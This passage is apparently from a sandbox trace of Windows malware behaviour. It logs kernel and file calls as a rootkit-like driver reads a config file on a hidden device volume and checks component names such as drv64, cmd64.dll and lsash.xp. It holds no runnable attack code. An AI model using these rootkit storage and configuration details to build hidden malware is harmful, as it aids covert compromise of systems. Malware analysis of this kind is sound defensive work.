_MaxCount=0x10) returned -15 [0127.260] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.260] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.260] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.260] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.260] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.260] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.260] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.260] KeLeaveCriticalRegion () [0127.260] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.260] ReleaseMutex (hMutex=0x100) returned 1 [0127.260] Sleep (dwMilliseconds=0x2bf20) [0127.269] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f0d2910, dwHighDateTime=0x1d24fa4)) [0127.269] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.269] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.269] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.269] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.269] KeEnterCriticalRegion () [0127.269] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.269] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.269] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.269] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.269] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.269] IdePortDispatch () returned 0x103 [0127.270] KeWaitForMutexObject () returned 0x0 [0127.270] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.270] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.270] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.270] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.270] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.270] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7280 [0127.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.270] KeLeaveCriticalRegion () [0127.270] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.270] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.270] KeEnterCriticalRegion () [0127.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.270] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.270] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.270] KeLeaveCriticalRegion () [0127.270] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.270] KeEnterCriticalRegion () [0127.270] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.270] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.270] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.270] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.270] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.270] IdePortDispatch () returned 0x103 [0127.271] KeWaitForMutexObject () returned 0x0 [0127.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.271] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.271] KeLeaveCriticalRegion () [0127.271] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.271] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.271] KeEnterCriticalRegion () [0127.271] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.271] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba7000 [0127.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.271] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.271] IdePortDispatch () returned 0x103 [0127.271] KeWaitForMutexObject () returned 0x0 [0127.271] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.271] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.271] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.271] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.271] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.271] IdePortDispatch () returned 0x103 [0127.272] KeWaitForMutexObject () returned 0x0 [0127.272] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.272] KeLeaveCriticalRegion () [0127.272] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.273] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.273] KeEnterCriticalRegion () [0127.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] KeLeaveCriticalRegion () [0127.273] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.273] KeEnterCriticalRegion () [0127.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.273] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039bbaf0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] KeLeaveCriticalRegion () [0127.273] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.273] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.273] KeEnterCriticalRegion () [0127.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] ExFreePoolWithTag (P=0xfffffa800c4f7280, Tag=0x0) [0127.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] KeLeaveCriticalRegion () [0127.273] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.273] ReleaseMutex (hMutex=0xf0) returned 1 [0127.273] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.273] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.273] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.273] KeEnterCriticalRegion () [0127.273] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.274] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.274] IdePortDispatch () returned 0x103 [0127.274] KeWaitForMutexObject () returned 0x0 [0127.274] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.274] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.274] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.274] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.274] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.274] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa87f0 [0127.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.274] KeLeaveCriticalRegion () [0127.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.274] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.274] KeEnterCriticalRegion () [0127.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.274] KeLeaveCriticalRegion () [0127.274] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.274] KeEnterCriticalRegion () [0127.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.274] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.274] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.274] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.274] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.274] IdePortDispatch () returned 0x103 [0127.275] KeWaitForMutexObject () returned 0x0 [0127.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.275] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.275] KeLeaveCriticalRegion () [0127.275] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.275] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.275] KeEnterCriticalRegion () [0127.275] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.275] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba8000 [0127.275] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.275] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.275] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.275] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.275] IdePortDispatch () returned 0x103 [0127.275] KeWaitForMutexObject () returned 0x0 [0127.275] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.276] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.276] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.276] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.276] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.276] IdePortDispatch () returned 0x103 [0127.276] KeWaitForMutexObject () returned 0x0 [0127.276] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.276] KeLeaveCriticalRegion () [0127.276] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.277] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.277] KeEnterCriticalRegion () [0127.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] KeLeaveCriticalRegion () [0127.277] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.277] KeEnterCriticalRegion () [0127.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.277] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039b78e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] KeLeaveCriticalRegion () [0127.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.277] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.277] KeEnterCriticalRegion () [0127.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] ExFreePoolWithTag (P=0xfffffa8003aa87f0, Tag=0x0) [0127.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] KeLeaveCriticalRegion () [0127.277] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.277] ReleaseMutex (hMutex=0xf0) returned 1 [0127.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.277] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.277] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.277] KeEnterCriticalRegion () [0127.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.277] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.278] IdePortDispatch () returned 0x103 [0127.278] KeWaitForMutexObject () returned 0x0 [0127.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.278] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.278] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.278] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.278] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.278] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcfb0 [0127.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.278] KeLeaveCriticalRegion () [0127.278] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.278] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.278] KeEnterCriticalRegion () [0127.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.278] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.278] KeLeaveCriticalRegion () [0127.278] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.278] KeEnterCriticalRegion () [0127.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.278] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.278] IdePortDispatch () returned 0x103 [0127.279] KeWaitForMutexObject () returned 0x0 [0127.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.279] KeLeaveCriticalRegion () [0127.279] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.279] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.279] KeEnterCriticalRegion () [0127.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.279] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000ba9000 [0127.279] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.279] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.279] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.279] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.279] IdePortDispatch () returned 0x103 [0127.279] KeWaitForMutexObject () returned 0x0 [0127.279] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.280] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.280] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.280] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.280] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.280] IdePortDispatch () returned 0x103 [0127.280] KeWaitForMutexObject () returned 0x0 [0127.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.280] KeLeaveCriticalRegion () [0127.280] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.281] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.281] KeEnterCriticalRegion () [0127.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] KeLeaveCriticalRegion () [0127.281] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.281] KeEnterCriticalRegion () [0127.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.281] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] KeLeaveCriticalRegion () [0127.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.281] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.281] KeEnterCriticalRegion () [0127.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] ExFreePoolWithTag (P=0xfffffa8002adcfb0, Tag=0x0) [0127.281] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] KeLeaveCriticalRegion () [0127.281] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.281] ReleaseMutex (hMutex=0xf0) returned 1 [0127.281] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.281] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.281] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.281] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.281] KeEnterCriticalRegion () [0127.281] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.281] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.281] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.281] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.281] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) 